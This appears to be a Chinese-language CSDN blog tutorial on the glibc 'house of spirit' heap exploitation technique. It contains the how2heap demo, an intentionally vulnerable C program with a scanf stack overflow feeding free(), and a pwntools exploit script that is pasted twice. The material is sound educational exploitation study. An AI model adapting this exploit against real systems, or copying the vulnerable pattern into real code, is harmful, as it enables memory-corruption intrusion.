linux 堆溢出学习之house of spirit(2)

37 篇文章 3 订阅

开篇

本篇接上篇的house of spirit技术的学习,上篇我们翻译了这个技术来源的文章,这篇我们将通过实例和总结来进行一个更深入的了解

house of spirit 简介

  • 攻击方式:结合栈溢出和堆溢出
  • 攻击效果:返回任意位置作为一个chunk

    攻击要求:

  • 可溢出控制某个malloc返回的地址

  • 被控制的地址被free
  • 再次malloc一个chunk
  • 可对第二次分配的chunk进行输入

house of spirit 解释

这种方法主要是通过利用构造一个fakechunk,然后控制一个free去达到溢出的效果。原文中的思路,是在栈上构造一个fakechunk,这样把函数指针或者栈上的函数返回值包起来,这样下次写入就可以更改掉这个返回值从而劫持控制流。

这里还需要注意一个fastbin的next size的正确性检验,也就是说fastbin的chunk的next chunk的size也必须是在fastbin的大小范围内,且和我当前这个chunk的大小一样,否则就会出错,所以原文的方法是:

  1. 控制返回地址前的栈上位置的内容,构造fakechunk头
  2. 控制返回地址后的栈上位置的内容,构造next chunk 的fake chunk 头
  3. 通过溢出,控制free的内容,使得free返回地址前的那个fake chunk
  4. 再次分配,使得返回地址前的fake chunk被分配
  5. 写入fake chunk,即可写返回地址

house of spirit 示例

shellphish/how2heap

#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("This file demonstrates the house of spirit attack.\n");

    printf("Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]);

    printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
    fake_chunks[9] = 0x2240; // nextsize

    printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    printf("Freeing the overwritten pointer.\n");
    free(a);

    printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    printf("malloc(0x30): %p\n", malloc(0x30));
}

shellphish的这个可以说是把基本的东西都已经囊括了,我在这里做一个简单的解释。

首先用malloc(1)进行了初始化,然后用一个fake_chunks数组来模拟两个fake_chunk,一个位于0下标的位置,一个位于8下标的位置,1下标是第一个chunk的size,9下标是第二个chunk的size。

因为第一个chunk的大小为64字节,64位系统环境下8字节一个数字,所以从0下标开始,到8下标之前刚好64个字节,那么下一个chunk就正好连在他的后面,所以第二个chunk从8下标位置开始是prev_size,9下标是size,next size的检查要检查下一个chunk的size是否合法,所以9下标size这个值必须是合法的size值,所以给他赋值为合法值。

然后free第一个chunk,通过了检测之后下一次分配相应大小的chunk就会把这个第一个chunk分配出来了。

一个简单的示例

exploitable.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vuln() {
    char *inner = (char*) malloc(20);
    char input[50];
    printf("%p\n", input); // simulate a leak

    scanf("%s", input); // a stack overflow, and here a fake chunk can be constructed

    free(inner);

    char *another = (char*) malloc(60);
    printf("allocated = %p\n", another);

}
int main() {
    char a[20];
    scanf("%s", a);
    // This scanf is before vuln, which the address will be higher than the return-address,
    // use this to pass next-size integrity check
    vuln();
    return 0;
}

exp.py

#!/usr/bin/python2
'''
exploit
'''
from pwn import *

PROC = process("./test")
def construct_chunk_head(prev_chunk_size, chunk_size, chunk_forward):
    '''
    since fastbin chunk has no BK, set it to 0
    '''
    return p32(prev_chunk_size) + p32(chunk_size) + p32(chunk_forward) + p32(0x0)

def main():
    '''main'''
    global PROC
    cons = construct_chunk_head(0, 64, 0)
    cons += p32(0x40)
    PROC.sendline(cons)
    #pwnlib.gdb.attach(PROC, execute="b *0x0804855f\nb *0x8048509\nc")
    rec = PROC.recvline()[:-1]
    leak = int(rec, 16)
    log.info(hex(leak))
    a_ptr = leak + 86

    payload = construct_chunk_head(0, 64, 0)
    where = 50 - len(payload)
    payload = 'a' * (where) + payload + 'b' * 4
    payload += p32(leak + where + 8)
    log.info("freeing: " + hex(leak + where + 8))
    PROC.sendline(payload)
    log.info("get:" + PROC.recvline())


if __name__ == "__main__":
    main()#!/usr/bin/python2
'''
exploit
'''
from pwn import *

PROC = process("./test")
def construct_chunk_head(prev_chunk_size, chunk_size, chunk_forward):
    '''
    since fastbin chunk has no BK, set it to 0
    '''
    return p32(prev_chunk_size) + p32(chunk_size) + p32(chunk_forward) + p32(0x0)

def main():
    '''main'''
    global PROC
    cons = construct_chunk_head(0, 64, 0)
    cons += p32(0x40)
    PROC.sendline(cons)
    rec = PROC.recvline()[:-1]
    leak = int(rec, 16)
    log.info(hex(leak))
    a_ptr = leak + 86

    payload = construct_chunk_head(0, 64, 0)
    where = 50 - len(payload)
    payload = 'a' * (where) + payload + 'b' * 4
    payload += p32(leak + where + 8)
    log.info("freeing: " + hex(leak + where + 8))
    PROC.sendline(payload)
    log.info("get:" + PROC.recvline())


if __name__ == "__main__":
    main()

这个示例的原理和第一个类似,不过这里稍微真实一点,和原文提出这个方法的情况比较相似,即通过两个可以控制的值把需要改动的值包起来,一个在下面一个在上面,通过低于他的那个来构造fakechunk,高于他的那个来构造可以通过next size检测的输入就可以将低于目标值的fake chunk分配出来了,然后更改fake chunk里的值就可以更改到想写的目标值了。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值